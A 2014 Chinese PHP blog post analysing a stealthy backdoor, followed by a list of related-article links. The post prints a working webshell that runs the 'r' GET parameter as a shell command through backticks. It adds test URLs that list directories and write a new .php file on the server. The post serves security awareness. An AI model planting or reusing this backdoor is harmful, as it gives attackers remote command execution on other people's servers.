一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
PHP使用者状态管理功能的应用
Oct 09 PHP
由php if 想到的些问题
Mar 22 PHP
php单例模式实现(对象只被创建一次)
Dec 05 PHP
浅析PHP的ASCII码转换类
Jul 05 PHP
一个简洁实用的PHP缓存类完整实例
Jul 26 PHP
php为字符串前后添加指定数量字符的方法
May 04 PHP
摘自织梦CMS的HTTP文件下载类
Aug 08 PHP
php提取身份证号码中的生日日期以及验证是否为成年人的函数
Sep 29 PHP
基于CI框架的微信网页授权库示例
Nov 25 PHP
thinkphp5 加载静态资源路径与常量的方法
Dec 24 PHP
thinkphp5实现无限级分类
Feb 18 PHP
php原生数据库分页的代码实例
Feb 18 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
PHP读取数据库并按照中文名称进行排序实现代码
2013/01/29 PHP
PHP转换IP地址到真实地址的方法详解
2013/06/09 PHP
从零开始学YII2框架(三)扩展插件yii2-gird
2014/08/20 PHP
PHP实现的回溯算法示例
2017/08/15 PHP
些很实用且必用的小脚本代码
2006/06/26 Javascript
Jquery命名冲突解决的五种方案分享
2012/03/16 Javascript
js中判断对象是否为空的三种实现方法
2013/12/23 Javascript
javascript常用方法汇总
2014/12/02 Javascript
js获取当前日期前七天的方法
2015/02/28 Javascript
jQuery插件cxSelect多级联动下拉菜单实例解析
2016/06/24 Javascript
js数组常用操作方法小结(增加,删除,合并,分割等)
2016/08/02 Javascript
jquery自定义表单验证插件
2016/10/12 Javascript
详解RequireJS按需加载样式文件
2017/04/12 Javascript
Node.js成为Web应用开发最佳选择的原因
2018/02/05 Javascript
Vue-CLI3.x 设置反向代理的方法
2018/12/06 Javascript
jQuery实现的模仿雨滴下落动画效果
2018/12/11 jQuery
JS工厂模式开发实践案例分析
2019/10/17 Javascript
在vue中阻止浏览器后退的实例
2019/11/06 Javascript
JavaScript工具库MyTools详解
2020/01/01 Javascript
Vue表单控件数据绑定方法详解
2020/02/05 Javascript
在Python中操作列表之List.pop()方法的使用
2015/05/21 Python
python生成IP段的方法
2015/07/07 Python
python的socket编程入门
2018/01/29 Python
Python 判断奇数偶数的方法
2018/12/20 Python
python tkinter GUI绘制,以及点击更新显示图片代码
2020/03/14 Python
基于python requests selenium爬取excel vba过程解析
2020/08/12 Python
python实现发送QQ邮件(可加附件)
2020/12/23 Python
html5新特性与用法大全
2018/09/13 HTML / CSS
美国知名的时尚购物网站:Anthropologie
2016/12/22 全球购物
焊接专业毕业生求职信
2013/10/01 职场文书
摄影专业毕业生求职信
2014/03/13 职场文书
反腐倡廉剖析材料
2014/09/30 职场文书
小学感恩节活动策划方案
2014/10/06 职场文书
2014乡党委副书记党建工作汇报材料
2014/11/02 职场文书
2019教师的学习计划
2019/06/25 职场文书
Python尝试实现蒙特卡罗模拟期权定价
2022/04/21 Python